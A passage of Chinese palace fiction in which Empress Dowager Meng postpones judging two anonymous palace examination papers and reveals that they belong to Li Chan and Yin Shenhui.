赵内尚当即道:“蒙太后抬爱,微臣本应谢此辐照,然而正因裁考的是微臣与苏尚宫的学生,以求公平,太后命崔尚书阅卷,微臣不能僭责,更不能涂悔太后精思长虑。” 果然赵内尚平时和自己还有其他学生说话向下兼容了,尹慎徽听完心里轻叹。 “奴婢亦是如此。请太后尊口定夺。” 当苏尚宫以奴婢自称,尹慎徽竟有一阵恍惚,仿佛回到熙平元年的皇宫西仪门,六月风熏,艳阳逼催,朱玉碧朱司正在告别前含泪对她说:“宫中之人,自称奴婢,唯有尚书内省女官,身份不同,可自称臣。孩子,在宫中,这一字之差犹如天堑……” 思绪被太后的话语截断。 “既然如此,这题不是哀家所出,哀家也无法定夺谁更胜一筹,不如待哀家郊祀祭地归来,再亲出一文题,你们二人当面作答,再由哀家决定谁才是此次裁试当之无愧的第一。” 孟太后说完,轻轻扯开两张试卷上糊名的深棕色皮纸,念出了那两个名字: “尚宫局,李婵。以及……睿思宫,尹慎徽。”